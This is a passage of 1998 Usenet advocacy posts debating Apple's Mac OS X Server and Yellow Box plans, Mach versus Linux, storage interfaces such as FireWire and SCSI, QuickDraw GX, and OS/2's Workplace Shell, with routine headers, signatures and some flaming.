w/o offending the YB crowds since you'll already have shown to the
YB folks that you are indeed serious about YB as part of Apple's future
plans. I just ask you Apple - think carefully about this. If Apple is holding
back on this because they fear that MS will withdraw IE4 or Office on
OS X I think the DOJ would love to hear about this, you think?!
Ah. But Apple will probably "think different" and do only 3. Then they can
face the consequences that revenues from YB will be a pitance compared
to Carbon. People will be clamoring for WO for Carbon, and a Carbon
for Windows, etc. No-one will care a heck of a lot about Server or YB
or anything except Carbon & Java.. Maybe Apple already thinks this
is the future. Well if Apple does 3 only then I'll be convinced of this
and will sit and watch YB evolve into a Carbon/Java environment.
And I'll continue to watch Apple struggle to somehow appease MS
into throwing them bones, while they (MS) trys to fend off Linux, and
co-opt Java somehow. Apple can face the prospect of being a MS
lackie forever.
Just a few more armchair thoughts for the mix.. I really do hope Apple
has the courage to do 1,2 and not just 3. But as Greg says I suspect
the die may already be cast and we just arn't going to know how it
came out until either Jan or MacWorld next year. The lack of SMP
servers will definately show where Apple sits with respect to the
server markets.
Randy Rencsok
rencsok or spammers at
ruin d0t the d0t internet d0t channelu d0t com
http://www.channelu.com/Staff.html
From: satan@hell.home.com (Michael Lankton)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
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<742247$efi$1@nnrp1.dejanews.com> <3666263B.5551@earthlink.net>
<F3EC3t.Au3@T-FCN.Net>
Message-ID: <WGy92.166$QB3.4178387@news.rdc1.ne.home.com>
Date: Thu, 03 Dec 1998 16:07:18 GMT
NNTP-Posting-Date: Thu, 03 Dec 1998 08:07:18 PDT
Organization: @Home Network
In <F3EC3t.Au3@T-FCN.Net> Maury Markowitz wrote:
> In <3666263B.5551@earthlink.net> Steve Kellener wrote:
> > All I was saying is that whenever I read your posts Maury, you never
> > seem to like anything about the NeXT UI so I wondered why you post
> > here.
>
> Steve, that's such a silly comment it's not even worth bothering about.
You just did.
Perhaps this is something you two should take to private correspondence.
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Fri, 04 Dec 1998 00:05:01 GMT
Organization: Airnews.net! at Internet America
Message-ID: <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net>
Abuse-Reports-To: abuse at airmail.net to report improper postings
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On Thu, 3 Dec 1998 15:08:31 GMT, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>In
><6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.ne
>t> Sheldon Gartner wrote:
>> http://www.macintouch.com/ says that OSX is going to be out by Jan.
>>
>> Is that possible?
>
> Sure, I suppose.
>
>> And how possible is it that the GUI might be opened
>> up a little bit to allow for Linux instead of Mach (sp?) in its
>> innards?
>
> The GUI never had anything to do with the OS under it. That's how it
>runs on NT and Win95.
>
> The real question is why you'd want Linux as opposed to Mach/BSD.
I guess what I want is Linux to have a newbie friendly GUI so M$ can
drop dead next year. 8-)
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <cdoutyF3Ezxy.AD5@netcom.com>
Sender: cdouty@netcom17.netcom.com
Organization: Netcom Online Services, Inc.
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746k9u$820$2@your.mother.com> <F3EKM7.F1F@T-FCN.Net> <7474bm$kf5$5@msunews.cl.msu.edu>
Date: Fri, 4 Dec 1998 00:27:34 GMT
In article <7474bm$kf5$5@msunews.cl.msu.edu>,
<spammers@ruin.the.internet.channelu.com> wrote:
>In <F3EKM7.F1F@T-FCN.Net> Maury Markowitz wrote:
>> In <746k9u$820$2@your.mother.com> "Todd Heberlein (todd at NetSQ dot com)"
>> wrote:
>> > > The real question is why you'd want Linux as opposed to Mach/BSD.
>> >
>> > To run OpenStep applications on Intel boxes.
>>
>> Then why not just get them to release the Intel version? Re-writing the
>> system to use an alternate kernel to get something the current kernel
>> already has been doing for years strikes me as the wrong solution to the
>> problem.
[snip]
>I think the answer from Apple is the following. IF you want OS X
>functionality on x86 then get Yellow for Windows. Simple as that.
>
>I suspect the strategy being the following:
>
>1. Yellow for Win will be slower, have all the underlying Win problems.
> and therefore people who will want a fast OS X will have to get PPC
> from Apple of course.
MOSXS will have to be pretty damn fast, because YB for Windows looked
pretty quick at the WO4 semminar the other day. Of course, WinNT is
still WinNT.
>2. If OS X was to be sold for x86
> a) The speed difference would not be as great
> b) They'd have to write/maintain drivers
> c) Could eat into PPC sales.
> d) People would bitch even more about lack of SMP.
>Final point 4 I'm going to hammer until someone at Apple finally cracks.
>No SMP dammit. Now try to convince anyone that Apple is serious
>about OS X being a Server OS. Not this year folks. Maybe in 1999
>if were lucky.
That's because Apple *isn't* serious about servers. They show no signs
of being interested in servers at all. Of course, Apple has gotten very
good at not showing signs at all lately. We will have to see.
I'd certainly like to see some announcements of credible server hardware
from Apple. They can start small. Just rack-mountable G3s with hot-swap
drives and power supplies would do for a start. Maybe Apple could make a
deal with IBM to port MOSXS to RS/6000 hardware or at least from YB/PDO to
AIX.
>Oh. and did I mention by that time Linux seats in the server arena
>will probably have doubled or tripled.. Thing is Apple can't do squat about
>anything on Linux until they get their Display redone - tested - etc.
>Then they can have a Yellow on Linux or anywhere else for that
>matter. I suspect the AOL, Netscape, Sun deal may put Java more
>solidly on the map..
Yup. Apple has tough row to hoe. Being late to market (almost) never helps.
[big snip]
>Though I do see they are going toward firewire. I think this would
>be a smart move. Dump SCSI/IDE all together! Though I have
>to wonder how Firewire will play out agains FibreChannel? Again
>though legacy folks go to cough up more $$ for Firewire disks, etc.
There seems to be widespread confusion over how FireWire (henceforth
referred to as 1394), SCSI, and FibreChannel (FC) interact. Both 1394
and FC are serial based protocools, while SCSI is a parallel interface.
All the interest in 1394 seems to be bubbling up from the bottom of the
market and from places outside the traditional storage market, i.e.
digital video. The PC manufacturers are looking for the next speed rev
of 1394 (at 800Mbps or better) to replace IDE, but they will get one more
rev of that technology out first called Ultra ATA/66. Apple seems to be
getting ready for 1394 early.
FC is coming down from the top and seems to be doing best at connecting
big disk arrays to servers. It has some teathing problems in the FC-AL
configuration, since all devices in a loop must be the same speed
upgrading is difficult. FC seems to heading for the server room and the
Storage Area Network idea currently in vogue. It will not be coming to
your desktop anytime soon.
SCSI on the other hand is here to stay. Every time someone proclaims
SCSI's immenent doom, SCSI gets a speed bump and sticks it out. The
current savior is Low-Voltage Differential signalling which lets Ultra2
operate on 12m cables with 16 loads and transfer at 80MBps. Looking
forward to next year we will see Ultra/160m at 160MBps and then Ultra3 at
even faster speeds. All of these new forms of SCSI can operate on the
same LVD bus. Don't forget that all the device manufacturers already
know about SCSI as do the OS writers.
For pure storage applications SCSI clearly beats 1394 for the foreseeable
future. I do not doubt that 1394 and Ultra ATA/66 will duke it out
soon for ownership of the desktop. 1394 will probably win based on
versatility, cable length, number of devices, etc.
>At least we'll have a OS X 1.0 to play with on x86. If the demand
>is large enough perhaps Apple can be coaxed to continue support
>when 1.0 for the consumer ships.
Hopefully. Intel hardware goes all sorts of places that Apple simply does
not go. It will be a long time before you see a PowerMac point-of-sale
system, luggable, telco rack-mount, etc.
>What do developers think about this Display change? I guess
>you'd hope that too much rewriting would be needed and in
>fact a simple porting tool would be made available.. Unfortunately
>I don't know enough about this to know how much of a problem
>it will become - other than it will probably break compatibility
>with old YB apps (can you say broken legacy compatibility -
>and pay upgrade prices)..
Apple only "promised" a "high-degree of source compatability" between
MOSXS 1.0 and MOSX. I quote promised becuase this info was in their FAQ
and not binding in any way. I rather doubt that any AppKit using program
will make the transition, but unless you use a lot of raw Postscript we
have been told that very few source changes will be needed for the new
display system. Andy Stone and the Caffeine guys have said that they are
not perturbed by what they know of the new display system, so I have high
hopes.
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Fri, 04 Dec 1998 00:26:38 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <747a7q$u1v$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <3666ECA0.664BDFF6@ericsson.com>
In article <3666ECA0.664BDFF6@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
> Charles Swiger wrote:
>> Yes. The delay has largely been due to licensing/royalty issues and figuring
>> out when and how to market the product, and not because Apple didn't have the
>> technology to the point where they could ship it.
>
> Just out of curiosity, who is your source for this?
The issue of getting royalties down to a free or single-digit figure for
deployment licenses have been an outstanding problem for a really long time.
I think I first heard about it more than a year ago, and it's been discussed
here, on various mailing lists, and so forth.
There were other considerations that impacted the timing, of course-- like
getting WOF 4 finished, which Apple wanted to due in order to include it with
OS X Server.
> I remember Alex Horovitz saying this on the OSX-talk list. Is that
> where you heard this?
No, but that provided additional confirmation, and I thank him for providing
that information.
>>> And how possible is it that the GUI might be opened up a little bit to
>>> allow for Linux instead of Mach (sp?) in its innards?
>>
>> OSX has a critical dependency on Mach messaging.
>
> That's unfortunate, but why does it rule out a Linux port?
It doesn't. But it gives a reason why such a port may very well not be
useful.
Yeah, yeah, I know all the Linux geeks are convinced that it's the fastest,
bestest OS ever, but without native kernel support of Mach messaging, you get
slowdowns because the upper levels expect better IPC than most systems
provide. That's a major reason why OPENSTEP/Mach runs faster than
OPENSTEP/Enterprise (or WOF) on NT, on the same Intel box.
> Common parlance holds Linux to be more than simply the Linux(tm) kernel, just
> as Unix implies more than just the Unix timesharing system. What people
> want is a version of YB that runs on the Linux+GNU systems that they
> know and use and to which they have easy access.
Right. Mach+GNU works fine for me with Rhapsody, barring a reasonable (and
expected) level of porting concerns involved with a new OS.
> Therefore it's hardly a huge obstacle that YB requires Mach.
YB does not require Mach. That's why YB runs on NT, Solaris, etc.
MacOS X Server requires Mach. The two aren't identical, any more than Debian
Linux is identical to the system call API's comprising BSD 4.4.
[ ... ]
>> While it's certainly possible to provide an emulation of this for other
>> systems, what would be the point? Mach is an exceptionally good kernel
>> with a level of innovation and performance that is at least as good as
>> the Linux kernel (IMHO).
>
> By all accounts (including my own) the Linux kernel outperforms OSF's
> Mach kernel when used with GNU user systems like those included on most
> Linux distributions. The level of difference in performance is a matter
> of some discussion, but I have never seen literature which claims that
> Mach outperforms Linux. If you could point me to some I would appreciate
> that.
I looked at the lmbench someone else mentioned, but the #ifdef's are too
broken to conveniently fix. I have little feel for the OSF variant, so you
may well be right there-- but then, I also have faith in avie's abilities.
When OS X is released, we can get benchmark numbers and see. Until then,
benchmarking RDR2 is of limited value.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: physrmh@phys.canterbury.ac.nz (Ryurick M. Hristev)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: 04 Dec 1998 13:31:37 +1300
Organization: University of Canterbury
Message-ID: <qv63e6wwxw6.fsf@physp43.phys.canterbury.ac.nz>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu> <73cmlm$omf$6@newnews.nl.uu.net> <F2x7L2.t1@a2e.de> <3665A681.4D6D2AA5@columbus.crosswinds.net> <3666F06F.86D69BAF@digiscape.com> <UXG#48vH#GA.210@pet.hiwaay.net> <slrn76e16g.pub.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel) writes:
[...]
> 'Automated installation' on known hardware should be as trivial in
> Linux as in Windows.
Nope, easier, "rdist" ...
Cheers,
--
-----BEGIN GEEK CODE BLOCK-----
Version: 3.12
GS/GM d- s+:+ a C++++>$ UL++(+++) P+ L+++ E++ W+(++) N+(++) o K-
w-- O- M- V- PS PE Y+ PGP+(++) t-- 5? X- R tv- b++(+++) DI D-- G
e+++ h--- r+++ y?
------END GEEK CODE BLOCK------
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Content-Type: text/plain; charset=us-ascii
Message-ID: <F3Ezns.FG@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: peasley822noSPAM@aol.com
Organization: My ISP puts something here if I don't.
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net>
<746k9u$820$2@your.mother.com> <F3EKM7.F1F@T-FCN.Net>
<3666F2F5.11E9@aol.com>
Mime-Version: 1.0
Date: Fri, 4 Dec 1998 00:21:28 GMT
In <3666F2F5.11E9@aol.com> peasley wrote:
> Here's some idle speculation:
>
> YOu know I have always wondered if this isn't a case where Apple "knifed
> the baby" to keep MS happy.
Worth thinking about, although I don't tend to "go" for such things
myself.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Content-Type: text/plain; charset=us-ascii
Message-ID: <F3F0AI.p1@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: My ISP puts something here if I don't.
References: <F3E9yJ.9IF@T-FCN.Net> <B28C4990-2214B@206.165.43.2>
Mime-Version: 1.0
Date: Fri, 4 Dec 1998 00:35:05 GMT
In <B28C4990-2214B@206.165.43.2> "Lawson English" wrote:
> No, I want a graphics system that is available for free to Mac developers
> and the vast majority of Mac users
Great, and while you're at it, make it use floats sized space, includes a
2d YB based OO lib that also runs under Java and should be able to look a
lot like Java2D as well.
When you're done, can you send me a copy?
> GX-like graphics libraries that aren't available to the vast majority of
> readers of these newsgroups aren't relevant to those newsgroups.
What the heck are you talking about?
> And I honestly don't think that you have enough knowledge about them to
> understand what a loss this will be to Mac users
Ahhh, but you do apparently?
I think the loss will be almost exactly zero. Seeing as you don't write
any GX apps, apparently don't own and, and don't seem to make a living
using them, I don't see how your opinion is any more valid than mine.
> both DTP professionals
I know lots of DTP professionals, LOTS. Not a single one of them uses
GX, most never heard of it. They are losing nothing.
Do you do DTP for a living?
> > Nothing. In fact he said his customers didn't really use it and tend
> > to use other portions of the app.
>
> So vectors are useless? Or is the lack of typographical and
> bitmap-handling
> in GX vectors a limitation that Apple needs to overcome?
Ahhhh, here we go again.
You: we need this feature, look this product uses it
Us: well, not really, and the author said the customer base doesn'tÊuse it
much anyway
You: well that's because of something else I have no idea about so I'll
just post it as a rhetorical question
> Not everyone is stupid. Some people even agree with me
Ahhh, I knew it would come out sooner or later - people who agree with
your arn't stupid, everyone else is.
> >to get them to refute me, without my permission. I have asked you to
> stop
> >this behaviour several times.
>
> ????
Do you not understand my sentance? On several occasions you have
forwarded posts I made to people in e-mail, garnered their responses and
posted them back here. I don't like this, and I asked you to stop. You
didn't. In fact you did it again two weeks ago.
Oh well there is an easy solution.
*plonk*
I'm sure a LOT of people are happy to see this.
Maury
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Content-Type: text/plain; charset=us-ascii
Message-ID: <F3F0Es.tz@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: maury@remove_this.istar.ca
Organization: My ISP puts something here if I don't.
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu>
<746l79$3ls$1@murdoch.acc.Virginia.EDU> <5PB92.2485$CY1.9921564@news.itd.umich.edu>
<F3Eqs1.IAv@T-FCN.Net>
Mime-Version: 1.0
Date: Fri, 4 Dec 1998 00:37:38 GMT
In <F3Eqs1.IAv@T-FCN.Net> Maury Markowitz wrote:
> In <5PB92.2485$CY1.9921564@news.itd.umich.edu> "Jin Kim" wrote:
> > ><http://www.cs.nmt.edu/~cort/papers/linuxppc-mm/linuxppc-mm.pdf>
>
> Does anyone else have a source for this pdf? I get a stellar 200bps
> before it finally dies.
Well wget fetched it (as it does...) but no I can't open it. Ok, does
anyone have this in some other format, like HTML?
Maury
From: possum@tree.branch (Mike Trettel)
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: OS/2 and failure
References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com> <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net> <slrn767pnv.8vk.possum@ss5.fred.net> <3665f04b.569033@news-server> <slrn7686ls.9s3.possum@ss5.fred.net> <742b2i$aoj$6@blue.hex.net>
Organization: Twinco, Inc.
Message-ID: <slrn76dfpj.71u.possum@ss5.fred.net>
Date: Thu, 03 Dec 1998 16:41:24 GMT
NNTP-Posting-Date: Thu, 03 Dec 1998 11:41:24 EDT
On 2 Dec 1998 03:10:10 GMT, Christopher Browne <cbbrowne@news.hex.net> wrote:
>>
>>A) Provide an upgrade/escape path for longtime OS/2 users. This plausibly
>>helps IBM by getting the SOHO users off IBM's back.
>
>Is IBM actually doing anything substantive *right now* for SOHO users?
No, of course not. I must point out though that I was engaging in a rank
speculation totally unsupported by facts or logic-a brain fart. I
personally don't think that any of my speculations have ever entered any
IBM'ers mind, and that the possibility of the WPS being released as open
source or as a precompiled binary for some other platform is, well, nil.
> >I can't see this being of any significance to IBM one way or another.
Correct, unfortunately.
>
>Q1: Are the SOHO users costing IBM very much in actual costs for
>support?
>
>Probable A1: If IBM has not been providing much support, then likely
>not.
>
>Q2: Would there be potential new revenues from SOHO users out of this?
>
>A2: I think not.
>
>Q3: Would it not be easier to simply start charging $50/hour for
>telephone support, and thereby turn what few SOHO users remain into at
>least a bit of a profit centre? (This brings to mind the "Psychic
>Network versus MS Telephone Support" story :-).)
>
>A3: And those few that are left, that need support, and feel that
>pricing outrageous, will likely head elsewhere...
Your cynicism is most refreshing! We could use more clear logic like this
around here.
>
>In short, this is neither likely to save IBM $50M, nor is this likely to
>make them $50M.
>
>>B) Provides a solution and/or and also possibly provides them with support
>>contracts for large corporate types who want an "easy" Linux.
>
>If they give away WPS, this allows them to get support contracts worth
>tens of millions of dollars. This doesn't compute.
>
>If they *sell* a "WPS for Linux," this might get them some support
>contracts, as well as some sales. And if they give it away, Red Hat
>includes WPS for Linux with their distribution, and the whole world has
>the opportunity to support it. Which doesn't engender anyone loading up
>trucks full of money and driving to IBM's accounts receivable
>department.
Of course-you whacked that softball right over the fence.
>
>>C) Builds goodwill amongst the Linux and/or FreeBSD community. This is not
>>as ridiculous as it sounds.
>
>It's not ridiculous, but does giving away WPS *really* provide
>substantial value? My suspicion is that it does not, but would only
>result in adding in Yet Another Application Framework to go along with:
>
>- Motif
>- OpenStep/GNUStep
>- Qt
>- GNOME
>- KDE
>- GTK
>- Tk
>- ...
Confusion is good, especially in the Unix world! Your point is well
taken.
>
>The applications world is unlikely to be revolutionized by adding WPS to
>tag along on this list. WPS offers things that the others don't, but
>the converse is also true. Having WPS doesn't necessarily mean that
>there will be a Linux port of DeScribe, or Lotus Improv, or of any other
>former OS/2 software. (I must confess not being up to date on what OS/2
>software is considered "ground-breaking.")
Nothing, really. I could argue that much of OS/2 and the apps therefore
are *refined* (i.e., debugged to death) but that doesn't apply to your
reasoning above.
>
>The value, as I see it, in having WPS would be if this allowed the
>reclaiming of the host of previously "obsolescent" OS/2 software. (Much
>as GNUStep offers the possibility of deploying NeXTStep and Rhapsody
>software on Linux, and Atari ST emulators allowed deploying Atari
>software atop W95/UNIX.)
>
>It would be particularly valuable if it allowed IBM to thereby deploy a
>bunch of IBM software on Linux. Unfortunately, the OS/2 software, while
>pretty cool stuff five years ago, can't have seen much attention since
>then.
>
>Unfortunately, I don't think this is terribly likely to represent a
>market worth going after.
>
>- A port of Lotus Notes to Linux would be fairly worthwhile; how OS/2
>fits into that picture is questionable.
>
>- The last directions I heard for OS/2 were as a "network computing"
>platform where Java could be hosted natively. WPS doesn't really fit
>into this, and IBM's "Jikes" and other Java efforts for Linux are more
>critical to where their business is going.
>
>- There is already rumor of IBM/Lotus porting SmartSuite to Linux.
>Porting WPS might make this easier (although WINE might be more critical
>to this endeavor; I doubt that Lotus has been concentrating real hard on
>OS/2 for a while...), but I doubt that this would be of crucial value
>worth releasing WPS code.
>--
>"Whenever you find that you are on the side of the majority, it is time
>to reform." -- Mark Twain
>cbbrowne@hex.net- <http://www.ntlug.org/~cbbrowne/lsf.html>
An interesting and thoughtful reply-thanks for your comments.
--
===========
Mike Trettel trettel (Shift 2) fred (dinky little round thing) net
Skep-Ti-Cult # 157-894589-983 ICQ # 15339850
I don't buy from spammers. No exceptions. Fix the reply line to mail me.
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 3 Dec 1998 16:30:35 -0800
Organization: Net Squared, Inc.
Message-ID: <747bjs$a16$2@your.mother.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <746k9u$820$2@your.mother.com> <F3EKM7.F1F@T-FCN.Net>
Maury Markowitz wrote in message ...
>> To run OpenStep applications on Intel boxes.
>
> Then why not just get them to release the Intel version?
Unfortunately, this is very good question which I wish Apple would
clearly answer.
Since I noticed this thread is cross-posted to the Linux group, I will
throw out these potential suggestions:
(1) Apple doesn't want to fragment the UNIX/Intel market anymore than it
is. Just another UNIX for Intel might get lost in the crowd.
(2) Linux's "house is in ascension" (or however the phrase goes). Linux
has momentum, and Apple may have more success getting OpenStep in the
hands of millions if it available for Linux than it would with its own
UNIX-class OS on Intel. That in turn would keep developers happy.
Todd
PS. I am personally only talking about OpenStep, not Carbon and/or the
BlueBox.
From: hugh@damnspam.semplicesoft.com (Hugh Johnson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 3 Dec 1998 23:03:26 GMT
Organization: Semplice Software
Message-ID: <hugh-0312981702330001@100.minneapolis-01.mn.dial-access.att.net>
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att. net> <B28C13F2-3BD09@206.165.43.215>
In article <B28C13F2-3BD09@206.165.43.215>, "Lawson English"
<english@primenet.com> wrote:
> You can draw different objects into different parts of the viewport
> hierarchy to get interesting effects, such as perspectivized text
> over/underlaying non-perspective text, both of which are editable-in-place.
>
> I suspect that you could even overlay the SAME editable text with ITSELF
> for a truely odd effect of selecting the text in one perspective and having
> it change in all perspectives. This is because the GX picture shape allows
> you to keep multiple references to the same geometry (with text, the
> inidividual characters are the 'geometry'), while having overriding
> transform, ink and style objects. In this case, since all picture-shape
> elements are drawn into the same viewport, you could only work with a
> single line of text with different overriding transform object mapping
> matrices, but it would STILL be a [potentially] cool effect. For
> text-blocks, you'd have to track the multiple copies yourself because
> mappings of a block of GX text must be applied at the viewport level, and
> all elements of the same picture shape draw into the same viewport.
>
This is sort of what I had in mind. You can simulate true 3D perspective
by layering 2D planes. If there's true foreshortening, then anything can
be kludged. It probably doesn't make for the most elegant 3D algorithms,
but at least you can rightly claim that it _is_ 3D.
---------------------------------------------------------------------
Hugh Johnson hugh@deletethis.semplicesoft.com Simple Tools
Semplice Software hughj@deletethis.kagi.com for
612-792-0583 BHuey@deletethis.att.net Smart People
<http://www.semplicesoft.com> -- Home of Font Gander Pro
---------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: mark@ns1.oaai.com (Mark Onyschuk)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Message-ID: <slrn76ef73.t57.mark@ns1.oaai.com>
Sender: news@T-FCN.Net
Organization: M. Onyschuk and Associates Inc.
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att. net> <B28C13F2-3BD09@206.165.43.215> <746ta9$ic2$1@nnrp1.dejanews.com>
Date: Fri, 4 Dec 1998 01:36:04 GMT
In article <746ta9$ic2$1@nnrp1.dejanews.com>, malcolm@plsys.co.uk wrote:
>In article <B28C13F2-3BD09@206.165.43.215>,
> "Lawson English" <english@primenet.com> wrote:
[big snip]
>>
>
>Y'know, all this looks complicated to me. I thought you said it was *easy*?
>To give an example of what I'd call *easy*: I've never done any 3D math or
>suchlike, yet *from scratch* (i.e. first reading the documentation) I was
>able to put together an application which showed a stereo pair of views
>looking at a scene (a rotatable etc 3D object) lit by an ambient light and a
>spotlight whose XYZ position and colour could be adjusted, and the whole
>thing rendered in true 3D using wireframe or full render... within 6 hours.
>It was about 100 lines of code. I hope Apple make QTML as accessible as
>RenderMan was in NeXT's 3DKit...
>
>mmalc.
Amen to that. And just like any other 3DKit view you got printing for free,
you got the ability to distribute the photorealistic render task across
all available CPUs on the net for free, you got to co-mingle 3D and 2D
graphics transparently, etc. etc.
You want 3D -- *That's* 3D! All of these behaviours were yours with
zero-lines of code required!
*This* is the kind of framework that brings "whole new classes of
applications" to OSX. All this GX noise is just so droll.
Mark
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,misc.invest.stocks
Subject: Re: OS/2 and failure
Date: 4 Dec 1998 01:13:04 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <747cv0$j1h$3@blue.hex.net>
References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com> <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net> <slrn767pnv.8vk.possum@ss5.fred.net> <3665f04b.569033@news-server> <slrn7686ls.9s3.possum@ss5.fred.net> <742b2i$aoj$6@blue.hex.net> <19BA6C5C94676B6D.FCA64EB013CE3EFA.C5D938FFEFCD9054@library-proxy.airnews.net>
NNTP-Posting-Date: 4 Dec 1998 01:13:04 GMT
On Wed, 02 Dec 1998 23:41:05 GMT, Sheldon Gartner <a1050pi@yahoo.com> wrote:
>>If they *sell* a "WPS for Linux," this might get them some support
>>contracts, as well as some sales. And if they give it away, Red Hat
>>includes WPS for Linux with their distribution, and the whole world has
>>the opportunity to support it. Which doesn't engender anyone loading up
>>trucks full of money and driving to IBM's accounts receivable
>>department.
>
>Geeze!
>
>It's short sighted views like that by companies that have resulted in
>many of us using Windoze desktops instead of Macs! Once Linux had a
>nice Windoze-like GUI for newbies to use (I know that WINE, etc
>exists) that could instantly be shipped out by someone as big as IBM,
>I could see amazingly great and QUICK changes in the entire software
>industry.
>
>Never underestimate the power of The Newbie Factor.
They'll be just waiting for those Newbies with their truckloads of
cash... As soon as those come, they'll deliver...
If you think that there will be "QUICK changes in the entire software
industry," I have to question whether you understand that:
- IBM's sales of mainframes have not declined.
- It often takes several years to complete the configuration and
installation of a comprehensive ERP system.
- The value of COBOL code still in use likely exceeds the market
capitalization of MSFT.
The "Newbie Factor" does not affect this.
--
"Lumping configuration data, security data, kernel tuning parameters,
etc. into one monstrous fragile binary data structure is really dumb."
- David F. Skoll
cbbrowne@hex.net- <http://www.ntlug.org/~cbbrowne/lsf.html>
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: 4 Dec 1998 00:04:26 GMT
Organization: AOL http://www.aol.com
References: <F3ELCL.FGx@T-FCN.Net>
Message-ID: <19981203190426.01035.00001221@ng-ch1.aol.com>
My apologies to you Maury. Please consider this a retraction of my previous
statement.
I would still like a clarification of why it is that you find the desktop as
void and its being used to remove icons from the shelf and tiles from the dock
inappropriate. They're not being deleted, so the recycler isn't
appropriate--the distinction is necessary to allow for the deletion of files
attached to icons.
I'll grant though that the idea of dragging an app tile to the recycler is an
interesting idea--perhaps it could simultaneously remove the icon from the dock
and quit the app?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: bill@bilver.magicnet.netREMOVETHIS (Bill Vermillion)
